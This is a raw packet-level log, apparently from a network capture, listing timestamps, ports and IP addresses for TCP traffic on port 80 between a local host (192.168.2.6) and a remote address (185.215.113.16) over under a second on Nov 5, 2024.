Nov 5, 2024 20:52:09.605928898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.605940104 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.606199980 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.628580093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.628596067 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.628613949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.628640890 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.628668070 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.628684044 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.628696918 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.628706932 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.628907919 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.628978968 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.628993988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629009008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629015923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629033089 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629053116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629053116 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629065990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629085064 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629121065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629134893 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629144907 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629153013 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629153013 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629170895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629173994 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629189968 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629206896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629260063 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629275084 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629285097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629292965 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629307985 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629312038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629370928 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629385948 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629399061 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629430056 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629497051 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629606009 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629621029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629636049 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629688978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629688978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629739046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629753113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629769087 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629776955 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629791975 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629823923 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629846096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629861116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629875898 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629897118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629897118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629944086 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.629956961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.629997969 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630012035 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630059958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630074978 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630081892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630104065 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630125046 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630181074 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630203962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630295038 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630310059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630325079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630331039 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630343914 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630358934 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630363941 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630374908 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630381107 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630389929 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630412102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630412102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630505085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630505085 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630521059 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630536079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630542994 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630552053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630568027 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630573034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630573034 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630589008 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630589962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630615950 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630636930 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630640030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630657911 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630671024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630681038 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630688906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630708933 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630750895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630767107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630780935 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630788088 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630796909 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630812883 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630820036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630831957 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630834103 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630847931 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630861044 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630866051 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630888939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630888939 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630934000 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630949020 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630954981 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.630965948 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.630990028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631032944 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631048918 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631057024 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631066084 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631088018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631088018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631088972 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631108046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631114006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631127119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631133080 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631150961 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631151915 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631176949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631187916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631201982 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631211042 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631225109 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631241083 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631242037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631242037 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631263018 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631308079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631340981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631356001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631366968 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631371975 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631395102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631438971 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631444931 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631457090 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631484032 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631488085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631510973 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631546974 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631551981 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631567001 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631652117 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631814957 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631830931 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.631884098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.631884098 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.718895912 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.718911886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.718925953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.718996048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.718997002 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.719038963 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719053030 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719067097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719074011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.719086885 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.719105959 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.719146967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719302893 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.719666004 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719679117 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719821930 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.719825029 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719839096 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.719860077 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.720036983 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721106052 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721158028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721250057 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721263885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721283913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721411943 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721426964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721442938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721443892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721466064 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721592903 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721609116 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721616983 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721626043 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721626997 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721663952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721663952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721733093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721748114 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721762896 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721770048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721777916 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721788883 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721792936 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721807957 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721815109 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721824884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721838951 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721848011 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721854925 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721863985 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721873045 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.721892118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.721892118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722037077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722052097 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722064972 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722069025 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722095966 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722095966 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722227097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722279072 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722295046 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722320080 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722335100 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722346067 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722352028 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722367048 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722376108 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722382069 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722395897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722410917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722424030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722424030 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722426891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722448111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722454071 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722464085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722479105 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722491026 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722574949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722589016 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722630024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722645044 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722656012 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722691059 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722706079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722723007 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722774029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722774029 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722812891 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722829103 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722843885 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.722856998 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722866058 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.722968102 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723007917 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723022938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723037958 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723052979 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723063946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723063946 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723068953 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723074913 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723099947 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723201990 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723217964 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723227978 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723233938 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723261118 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723289967 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723331928 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723335028 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723347902 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723356962 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723421097 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723503113 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723517895 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723532915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723557949 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723630905 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723647118 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723656893 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723663092 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723670006 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723683119 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723699093 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723710060 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723723888 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723735094 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723748922 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723762035 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723769903 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723817110 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723831892 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723840952 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723848104 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723864079 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723874092 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723874092 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723880053 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723905087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723905087 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723934889 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723947048 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.723951101 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723967075 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.723975897 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.724003077 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.724024057 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.724037886 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.724052906 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.724065065 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.724127054 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746076107 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746093988 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746109962 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746134043 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746155024 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746170044 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746184111 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746185064 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746200085 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746232986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746232986 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746310949 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746332884 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746340990 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746350050 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746352911 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746373892 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746433973 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746460915 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746460915 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746484995 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746490955 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746510983 CET	80	50011	185.215.113.16	192.168.2.6
Nov 5, 2024 20:52:09.746515036 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746532917 CET	50011	80	192.168.2.6	185.215.113.16
Nov 5, 2024 20:52:09.746562958 CET	80	50011	185.215.113.16	192.168.2.6
